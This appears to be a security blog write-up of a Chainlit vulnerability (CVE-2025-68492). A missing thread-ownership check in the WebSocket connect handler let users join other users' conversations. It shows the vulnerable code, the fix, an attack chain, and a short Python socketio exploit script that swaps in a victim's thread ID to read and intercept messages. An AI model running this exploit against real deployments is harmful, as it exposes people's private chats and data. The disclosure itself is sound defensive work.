Chainlit IDOR: Eavesdropping on AI Conversations via WebSockets

In the gold rush of GenAI, everyone is building a chat interface. Chainlit is the shovel seller—a Python package that lets developers spin up ChatGPT-like interfaces in minutes. It handles the UI, the state, and the WebSocket glue so you can focus on your LLM logic.

But here is the thing about chat applications: they are practically diaries. People paste API keys, medical data, proprietary code, and their deepest insecurities into these prompts. The expectation of privacy is absolute.

CVE-2025-68492 is the digital equivalent of a party line. It turns out that while Chainlit made sure you were logged in, it didn't strictly check if the conversation you were trying to resume actually belonged to you. It just took your word for it.

The vulnerability hides in the backend/chainlit/socket.py file, specifically within the connect event handler. When a user opens a Chainlit app, the frontend establishes a Socket.IO connection to the backend. Part of this handshake involves an auth object, where the client says, "Hey, I'm User X, and I'm here to resume Thread Y."

In a secure world, the server responds: "Okay, prove you own Thread Y." In the vulnerable version of Chainlit, the server effectively responded: "Sure thing, come on in!"

Technically, this is an Insecure Direct Object Reference (IDOR), mapped to CWE-639. The server utilized the user-supplied threadId to initialize the WebsocketSession without validating against the database that Current_User_ID == Thread_Owner_ID. It verified who you were (Authentication), but not what you were allowed to touch (Authorization).

Let's look at the diff. It's a textbook example of a missing permission check. The developers were fetching the threadId from the payload and passing it straight to the session constructor.

The Vulnerable Logic (Simplified):

@sio.on("connect")
async def connect(sid, environ, auth):
    # Authentication happens here...
    user = await authenticate_user(auth)
    
    # <--- VULNERABILITY HERE
    # The code blindly accepts the threadId from the auth dict
    session = WebsocketSession(
        thread_id=auth.get("threadId"), 
        user=user
    )

The Fix (Commit 8f1153db):

The patch adds a crucial verification step. Before establishing the session, it queries the data layer to ensure the requester is the actual author of the thread.

@sio.on("connect")
async def connect(sid, environ, auth):
    # ... authentication ...
    thread_id = auth.get("threadId")
 
    if require_login():
        if thread_id:
            # The new guard dog:
            author_id = await data_layer.get_thread_author(thread_id)
            if author_id != user.identifier:
                logger.error("Authorization for the thread failed.")
                raise ConnectionRefusedError("authorization failed")

If the IDs don't match, the connection is famously refused. Simple, effective, and previously missing.

Exploiting this requires two things: a valid user account (low privilege is fine) and a target threadId.

Chainlit often uses UUIDs for thread IDs, which adds a layer of "Security by Obscurity" (hence the High Attack Complexity in the CVSS score). However, if an attacker can enumerate IDs (perhaps via a separate leaky API endpoint) or if the application uses predictable sequential integers, this becomes trivial.

The Attack Chain:

1. Recon: Attacker logs in normally and inspects their own WebSocket traffic. They see the handshake packet: 40/chainlit,{"threadId":"<UUID>"}.
2. Targeting: Attacker obtains a victim's threadId (e.g., 550e8400-e29b-41d4-a716-446655440000).
3. Execution: The attacker initiates a new Socket.IO connection using a script or a proxy (like Burp Suite), swapping their own ID for the victim's.

# Conceptual Exploit (Python socketio-client)
import socketio
 
sio = socketio.Client()
 
# We authenticate as ourselves (Attacker)
auth_payload = {
    "accessToken": "ATTACKER_JWT_TOKEN",
    "threadId": "VICTIM_THREAD_ID"  # <--- The malicious swap
}
 
@sio.event
def connect():
    print("Connected to victim thread! Listening for secrets...")
 
@sio.on('new_message')
def on_message(data):
    print(f"Intercepted: {data}")
 
sio.connect('http://target-chainlit-app.com', auth=auth_payload)

Once connected, the backend streams the thread history and any new updates directly to the attacker.

This is a confidentiality breach. The CVSS score is a modest 4.2 primarily because finding the threadId is hard (High Complexity). However, in specific deployments where IDs might appear in URLs shared by users or are predictable, the impact spikes.

An attacker could:

1. Read History: Access all previous prompts and completions in that thread.
2. Real-time Spying: Watch the conversation unfold as the victim types.
3. Context Injection: If write access is also governed by this session state (which is common in WebSocket apps), the attacker might be able to inject prompts into the user's session, effectively poisoning the AI context.

For enterprise deployments using Chainlit to interface with internal knowledge bases, this could mean leaking corporate secrets or PII.